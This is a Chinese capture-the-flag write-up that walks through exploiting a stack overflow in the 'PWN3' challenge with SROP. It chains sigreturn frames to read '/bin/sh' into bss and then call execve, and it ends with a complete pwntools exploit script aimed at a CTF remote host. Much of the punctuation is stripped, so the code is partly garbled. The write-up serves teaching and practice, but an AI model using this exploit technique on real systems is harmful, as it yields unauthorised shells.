这是一道srop的题先打开ida看看main函数里只有一个vuln函数我们看看vuln函数发现缓冲区大小是0x10read读0x400存在栈溢出不过需要注意vuln 结尾是纯 ret没有 leave所以 ret 弹出的是 saved_rbp 位置的值ROP 链偏移 0x10 (16)而不是常见 leave;ret 下的 0x18 (24)。paddingba*16这是syscall的题先搜一搜都有什么寄存器什么的可以用ROPgadget --binary ./PWN3 | grep syscall ROPgadget --binary ./PWN3 | grep pop rax ROPgadget --binary ./PWN3 | grep pop rdi ROPgadget --binary ./PWN3 | grep pop rsi发现没有放第三个参数的寄存器也没有pop rax无法将 rax 设为任意 syscall 号来造输出函数来泄露libc但是有这个我们可以控制rax变成0x3b或者0xf0x3b的系统调用号对应的是execve函数0xf的系统调用号对应的是sigreturn函数这个函数能一次性设置所有的寄存器包括 rax、rdi、rsi、rdx、rip、rsp当我们用了sigreturn函数的时候发生的事情就是内核从栈上读一个248字节的结构体把结构体里里对应的值存到寄存器里返回到结构体里指定的rip。现在题目主要是缺少/bin/sh所以思路就是先用sigreturn函数造一个可以写到bss段的read函数然后我们自己在bss段写入/bin/sh再用sigreturn函数造execve函数。这个程序的bss段只有前面一点有东西后面全是0可以给我们写我们就从开头后面的第0x100开始写bsself.bss() 0x100这样写就可以用sigreturn函数设置寄存器的值了sigSigreturnFrame() sig.rdi0 sig.rsibss sig.rdx0x400 sig.rax0 sig.ripsyscall sig.rspbss0x200rax设置成00的系统调用号对应read函数。rdi是read函数的第一个参数设置成0。rsi是read的第二个参数设置成bss。rdx是read函数的第三个参数设置成0x400。rip都是设置成syscallrsp设置成bss0x200这个0x200是随便写的靠后的数0x300什么的应该也可以靠前的数可能会有干扰。payloadpaddingp64(rax0xf)p64(syscall)bytes(sig)接下来构建payload先是填充然后把rax改成0xf再用syscall触发sigreturn函数再把刚才写好的值接上发sigreturn函数的时候注意要用pwntools带的bytes()就可以了。现在程序的状态就是等在我们造的read函数里等待输入我们构建第二个payload首先写第二个sigreturn函数各个寄存器的设置binshbss0x308 sigSigreturnFrame() sig.rax0x3b sig.rdibinsh sig.rsi0 sig.rdx0 sig.ripsyscallrax设置成0x3b对应execve函数第一个参数是binsh的地址第二三个参数都是0rip都是syscall这里为什么binshbss0x308等下就说接下来构造payloadpayloadba*0x200p64(rax0xf)p64(syscall)bytes(sig)b/bin/sh因为上一个payload的rsp设置成了bss0x200我们是从bss开始填充的所以先填充0x200然后再把rax改成0xf再用syscall触发sigreturn函数最后写/bin/sh。之后记得接收write输出的垃圾字符try: r(0x30) except: pass为什么binsh的地址是bss0x308呢payload里先填充了0x200然后rax0xf算8字节syscall算8字节sigreturn结构体算248字节也就是0xf8字节把这些都加上就是0x308个字节所以binsh从bss0x308开始写的地址就是bss0x308。为什么bin/sh是最后输入的在payload的最后面为什么可以让前面写的sig运行呢因为流程是read函数先把输入读进来不执行直到程序后面ret弹出的时候才会执行rop链这时候/bin/sh已经写到对应的地方了最后附上expfrom pwn import * s lambda data : io.send(data) sa lambda delim, data : io.sendafter(str(delim), data) sl lambda data : io.sendline(data) sla lambda delim, data : io.sendlineafter(str(delim), data) r lambda num : io.recv(num) ru lambda delims, dropTrue : io.recvuntil(delims, drop) itr lambda : io.interactive() uu32 lambda data : u32(data.ljust(4, b\x00)) uu64 lambda data : u64(data.ljust(8, b\x00)) context.log_level debug context.arch amd64 context.binary binary ./PWN3 context.terminal [tmux, splitw, -h] gdbscript def start(argv[], *a, **kw): if args.GDB: proc process([binary] argv, *a, **kw) gdb.attach(proc, gdbscriptgdbscript) return proc elif args.REMOTE: return remote(node5.anna.nssctf.cn,22989) else: return process([binary] argv, *a, **kw) elf ELF(binary) libc ELF(./libc.so.6) rop ROP(elf) io start() paddingba*16 main0x40051D rdi0x00000000004005a3 rsir150x00000000004005a1 rax0x3b0x00000000004004e2 rax0xf0x00000000004004da syscall0x0000000000400501 bsself.bss() 0x100 binshbss0x308 sigSigreturnFrame() sig.rdi0 sig.rsibss sig.rdx0x400 sig.rax0 sig.ripsyscall sig.rspbss0x200 payloadpaddingp64(rax0xf)p64(syscall)bytes(sig) s(payload) sleep(0.3) sigSigreturnFrame() sig.rax0x3b sig.rdibinsh sig.rsi0 sig.rdx0 sig.ripsyscall payloadba*0x200p64(rax0xf)p64(syscall)bytes(sig)b/bin/sh s(payload) sleep(0.2) try: r(0x30) except: pass itr()